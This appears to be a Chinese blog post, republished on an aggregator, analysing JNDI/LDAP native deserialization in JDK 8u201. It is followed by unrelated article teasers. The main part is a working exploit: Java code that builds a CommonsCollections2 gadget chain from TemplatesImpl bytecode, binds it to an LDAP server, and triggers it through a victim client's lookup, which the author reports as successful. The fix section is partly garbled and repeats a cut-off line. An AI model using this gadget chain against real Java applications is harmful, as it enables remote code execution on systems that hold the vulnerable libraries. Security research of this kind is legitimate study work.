JNDI-反序列化

news2024/11/25 16:35:56

参考博客:

JNDI注入与动态类加载

分析版本

jdk8u201

流程分析

在前面JNDI-ldap绕过分析中提到,存在ldap原生反序列化利用点。

再回顾一下,在deserializeObject

private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { //var1=AppClassLoader,修复之后在本地加载
    try {
        ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

        try {
            Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1); 
            Throwable var21 = null;

            Object var5;
            try {
                var5 = ((ObjectInputStream)var20).readObject();  //原生反序列化
            } catch (Throwable var16) {
//....

原生反序列化可以直接打,不需要Reference。

攻击实现

我们模拟一下受害方是存在CC利用链的,所以现在项目中添加依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

打下CC2

重写一个Ldap的绑定

public class JNDILDAPServerBypass {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        //Reference refObj = new Reference("Test", "Test", "http://localhost:4444/");
        initialContext.rebind("ldap://localhost:10389/cn=Evil,dc=example,dc=com", getEvilPriorityQueue());

    }

    public static PriorityQueue getEvilPriorityQueue() throws Exception {
        //CC2
        byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "pass");

        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());


        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);

        //chainedTransformer.transform(1);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(1);

        ///Class transformingComparatorClass = TransformingComparator.class;  //也可以
        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformer = transformingComparatorClass.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator, invokerTransformer);

        return priorityQueue;
    }

}

看下Ldap服务器

image-20240730181129112

之后模拟受害方客户端请求

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://localhost:10389/cn=Evil,dc=example,dc=com");
        //LdapCtx

    }
}

攻击成功

image-20240730181311044

分析上面代码时,也分析到了decodeReference(var0, var2);调用了,deserializeObject方法也会产生反序列化漏洞

修复

  1. 关于deserializeObject的修复,提供了个类之前trustURLCodebase属性开关,但是默认开启,不影响
    rence(var0, var2);`调用了,deserializeObject方法也会产生反序列化漏洞**

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1967516.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 命令,grep 说明与使用

1&#xff1a;grep命令功用&#xff1a; 一种强大的文本搜索工具&#xff0c;在一个或多个fles中搜索与正则表达式pattern相匹配的行。 如果有匹配行&#xff0c;则退出状态是0;如果没有匹配的行&#xff0c;则退出状态是1;有错误时退出状态是2。 2&#xff1a;命令构件: grep…

TypeScript 安装教程

安装TypeScript 下载并安装Node.js使用npm全局安装 npm install -g typescript版本查询 tsc -v 安装成功&#xff0c;但是执行tsc -v 命令&#xff0c;查看安装的ts版本时报错&#xff1a; tsc : 无法加载文件 D:\nodejs\node_global\tsc.ps1&#xff0c;因为在此系统上禁止…

软件测试之测试用例总结【含模板】

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、通用测试用例八要素   1、用例编号&#xff1b;    2、测试项目&#xff1b;   3、测试标题&#xff1b; 4、重要级别&#xff1b;    5、预置条件…

最新版人声处理插件Soundevice Digital Voxessor,winmac,持续更新

一。 多合一人声处理插件 Soundevice Digital Voxessor Soundevice Digital Voxessor是一款专门针对人声处理的效果器。它具有出色的计量功能和大量用于精确调整的参数&#xff0c;能够帮助用户快速获得美妙的声音。此外&#xff0c;它还提供了多种功能&#xff0c;如瞬间完美配…

SpringCloud-服务保护和分布式事务

一、雪崩问题 &#xff08;1&#xff09;雪崩问题 1.雪崩问题产生的原因是什么&#xff1f; ①微服务相互调用&#xff0c;服务提供者出现故障或阻塞。 ②服务调用者没有做好异常处理&#xff0c;导致自身故障。 ③调用链中的所有服务级联失败&#xff0c;导致整个集群故障…

57_2设置Servlet模板、Servlet线程安全问题、跳转

设置Servlet模板 再创建类就有了 模板代码 #if (${PACKAGE_NAME} && ${PACKAGE_NAME} ! "")package ${PACKAGE_NAME};#end #parse("File Header.java")import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import j…

java开发环境搭建基础番外篇之----Maven在windows的安装及配置

一.背景 公司安排了带徒弟任务&#xff0c;写点基础的环境搭建这些吧。搭建基础开发环境&#xff0c;主要是jdk、eclipse、git、maven、mysql。后续再考虑编写jenkins、nexus、docker、1panel等CI/CD环境搭建。 本次主要内容是maven在window是系统中的安装及配置。我的开发环境…

电梯节能(能量回馈)样板间,现场勘察效果

一、现场勘察&#xff1a;电表倒转回馈 二、真实数据 三、真实现场勘察情况&#xff1a; 【电梯机房背景】 2023-07-26日&#xff0c;电梯机房勘察&#xff08;该机房控制2部电梯&#xff0c;分为【内外】间&#xff0c;各有1台电梯控制柜控制1台电梯&#xff09;。 【发热电…

美股收涨英伟达大涨,美联储降息预期升温

昨夜美股三大股指集体收涨&#xff0c;受“小非农”数据与鲍威尔为9月开启降息背书的利好影响&#xff0c;英伟达大涨近13%&#xff0c;引领科技股强势反弹。 一、大盘动态 截至收盘&#xff0c;道指涨0.24%&#xff0c;纳指涨2.64%&#xff0c;标普涨1.58%。美国十年国债收益…

记一次mybatisplus和postgresql自增主键冲突的问题解决

问题出现前提&#xff1a; 1. postgresql设置字段自增 2. springboot项目集成mybatisplus向表中新增数据 现象&#xff1a;db中字段没有自增且无规律。 springboot项目中实体类如下&#xff1a; 其中id为本次要自增的字段。 整个设置字段自增的过程&#xff1a; 首先&…

el-table-column 遍历 如何将 year 作为表头 processstatus为值

使用 Vue 的计算属性来动态生成列&#xff0c;并使用 v-for 在 <el-table> 的 <el-table-column> 上来遍历这些列。此外&#xff0c;我们还需要一个方法来处理每行数据的显示&#xff0c;因为每行的数据&#xff08;sonList&#xff09;需要根据年份来显示对应的 p…

uniapp使用uView的单选框自定义图片标题和副标题

效果图&#xff1a; 我这边是在一个弹框里面&#xff0c;需要一个单选框 实现代码&#xff1a; html代码&#xff1a; <u-popup :round"15" mode"center" :closeOnClickOverlay"false" bgColor"transparent"><view class&…

水泥电阻在电源电路中的作用

水泥电阻是将电阻线绕在无碱性耐热瓷件上&#xff0c;外面加上耐热、耐湿及耐腐蚀之材料保护固定并把绕线电阻体放入方形瓷器框内&#xff0c;用特殊不燃性耐热水泥充填密封而成。水泥电阻的外侧主要是陶瓷材质&#xff08;一般可分为高铝瓷和长石瓷&#xff09;。 水泥电阻器…

navicat 17 安装

百度网盘 链接: https://pan.baidu.com/s/1nFFQzWhjxRUM_X6bVlWNGw?pwd8888 提取码: 8888 1.双击运行安装包 2.点击下一步 2.勾选我同意&#xff0c;点击下一步 3.自定义安装路径&#xff0c;点击下一步 4.注意勾选桌面快捷方式&#xff0c;点击下一步 5.点击安装 6.点击完…

游戏类型有哪些?游戏分类详细解说(二)

在游戏行业中&#xff0c;对游戏进行分类可以帮助玩家、开发者和市场分析师更好地理解市场趋势、玩家偏好和游戏设计元素。 游戏分类可以从多个维度进行&#xff0c;上一期跟大家分享了目前现有的游戏品类&#xff0c;本期跟大家分享具体游戏分类维度&#x1f447; 1、题材维度…

要抓住国际白银现货行情 以下这几点需要注意

国际白银现货行情最近表现不甚稳定&#xff0c;在七月上旬出现了比较强势的上涨&#xff0c;但随后出现强势的下跌&#xff0c;跌破了30关口。如果我们要抓住国际白银现货行情&#xff0c;那么以下这几点我们就需要注意。 一&#xff0c;建立交易计划&#xff0c;并且按计划执行…

Day1-软件包管理及shell命令

1. Linux介绍 1.1 Linux的发展 在Unix基础上发展而来 GNU GUN is Not Unix GPL General Public License 1.2 各种Linux发行版本 Red Hat Ubuntu 1.3 Linux体系结构 1.4命令终端 在桌面环境下的命令终端仿真器程序很多&#xff0c;它们各有特色&#xff0c;拥有各自的用户…

QT——常用的窗口相关知识点

1. 常用的窗口标志设置 设置窗口无标题栏 // 设置窗口无标题栏this->setWindowFlags(Qt::CustomizeWindowHint);设置窗口无边框 // 设置窗口无边框setWindowFlags(Qt::FramelessWindowHint);设置窗口置顶 // 设置窗口置顶setWindowFlags(Qt::FramelessWindowHint|Qt::Windo…

Harbor镜像仓库教程(单节点)

1.前置内容 1.1 harbor概述 众所周知&#xff0c;docker镜像仓库被墙了&#xff0c;所以部署我们私有环境内的Registry也是非常必要的。 Harbor是由VMware公司开源的企业级的Docker Registry管理项目&#xff0c;相比docker官方拥有更丰富的权限权利和完善的架构设计&#xff…

Linux笔记 --- 组合数据类型

结构体 简单的定义结构体的方法 struct student {char name;int age;float score; };//使用student模板创建两个结构体变量 struct student Jack,Rose; 结构体中可以存放除了函数以外的任何数据类型的数据&#xff0c;在创建结构体时student被称为结构体模板名称&#xff0c;…